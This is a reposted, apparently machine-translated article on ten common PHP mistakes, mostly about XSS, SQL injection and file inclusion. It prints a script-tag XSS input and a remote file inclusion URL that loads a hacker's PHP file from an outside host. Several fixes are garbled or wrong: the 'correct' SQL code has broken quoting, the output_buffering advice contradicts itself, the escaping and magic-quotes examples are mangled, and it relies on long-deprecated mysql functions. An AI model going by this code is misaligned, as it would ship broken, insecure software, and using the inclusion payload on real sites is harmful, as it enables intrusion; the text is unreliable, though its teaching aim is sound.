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The 10 most common mistakes PHP programmers make (reposted)
PHP is a great web development language, a flexible language, but we see some mistakes that PHP programmers make over and over again. I made the following list of 10 common mistakes made by PHP programmers, most of which are related to security. Let’s see what kind of mistakes you made

1. Don’t ignore html entities

A basic common sense: all untrusted input (especially data submitted by users from forms) must be changed before output.

echo $_GET['usename'] ;

This example may output:

<script>/*Script to change admin password or set cookie*/</script>

This is an obvious security risk unless you ensure that your users are typing correctly.

How to fix:

We need to convert "< ", ">", "and", etc. into correct HTML representation (< , >', and "). The functions htmlspecialchars and htmlentities() do this job .

Correct method:

echo htmlspecialchars($_GET['username'], ENT_QUOTES);

2. Don’t bother with SQL input
I once discussed this issue in an article The Simplest Way to Prevent SQL Injection (php+mysql) and gave a simple method. Someone told me that they already have magic_quotes set to On in their php.ini so they don't have to worry about it, but not all input is coming from $_GET, $_POST or $_COOKIE!
How to fix:

As in the simplest way to prevent sql injection (php+mysql), I still recommend using the mysql_real_escape_string() function

Correct approach:
$sql = "UPDATE users SET
name='.mysql_real_escape_string($name).'
WHERE id='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>

3. Incorrect use of HTTP-header related functions: header(), session_start(), setcookie()
Have you encountered this warning?"warning: Cannot add header information - headers already sent [....]

Every time a web page is downloaded from the server, the server's output is divided into two parts: header and body.
The header contains some non-visual data, such as cookies. The head always arrives first. The text part includes visual html, pictures and other data.
If output_buffering is set to Off, all HTTP-header related functions must be called before there is output. The problem is that when you develop in one environment and deploy to another environment, the output_buffering settings may be different. As a result, the redirection stopped, and the cookie and session were not set correctly...

How to fix:
Make sure to call http-header related functions before outputting, and set output_buffering = Off
.

4. Require or include files use unsafe data
Again: don’t trust data that you don’t explicitly state. Do not include or require files obtained from $_GET, $_POST or $_COOKIE.

For example:
index.php
//including header, config, database connection, etc
include($_GET['filename']);
//including footer
?>

Any hacker can now use: http://www.yourdomain.com/index.php?filename=anyfile.txt
to obtain your confidential information, or execute a PHP script.

If allow_url_fopen=On, you are dead:
Try this input:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php

Now your web page contains the output of http://www.youaredoomed.com/phphack.php. Hackers can send spam, change passwords, delete files, etc. Anything you can imagine.

How to fix:
You must control which files can be included in the include or require directives.

Here’s a quick but not comprehensive solution:
//Include only files that are allowed.
$allowedFiles = array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)) {
include($_GET['filename']);
}
else{
exit('not allowed');
}
?>

5. Grammatical errors
Grammatical errors include all lexical and grammatical errors that are so common that I had to list them here. The solution is to study the syntax of PHP carefully and be careful not to miss a bracket, brace, semicolon, or quotation mark. Also, find a good editor and don’t use Notepad!

6. Rarely or never use object-oriented
Many projects do not use PHP's object-oriented technology, and as a result, code maintenance becomes very time-consuming and labor-intensive. PHP supports more and more object-oriented technologies and is getting better and better. There is no reason why we should not use object-oriented technology.

7. Not using framework
95% of PHP projects are doing the same four things: Create, edit, list and delete. Now there are many MVC frameworks to help us complete these four things, why don't we use them?

8. Don’t know the functions already available in PHP
The core of PHP contains many functions. Many programmers reinvent the wheel over and over again. A lot of time wasted. Before coding, search for PHP mamual and search on google. You may find new discoveries! exec() in PHP is a powerful function that can execute cmd shell and return the last line of the execution result in the form of a string. For security reasons, you can use EscapeShellCmd()

9. Use an older version of PHP

Many programmers are still using PHP4. Development on PHP4 cannot give full play to the potential of PHP, and there are still some security risks. Switch to PHP5, it doesn't take a lot of effort. Most PHP4 programs can be migrated to PHP5 with few or even no changes to the statements. According to a survey by http://www.nexen.net, only 12% of PHP servers use PHP5, so 88% of PHP developers are still using PHP4.

10. Convert the quotation marks twice

Have you ever seen 'or'" appear in web pages? This is usually because magic_quotes is set to off in the developer's environment, and magic_quotes =on on the deployed server. PHP will store the data in GET, POST and COOKIE Repeat addslashes() on
. Original text:
It's a string

magic quotes on :
It's a string
Run again
addslashes():
It\'s a string

HTML output:
It's a string

Another situation is that the user inputs wrong login information at the beginning. After the server detects the wrong input, it outputs the same form and requires the user to input again, causing the user's input to change its meaning twice!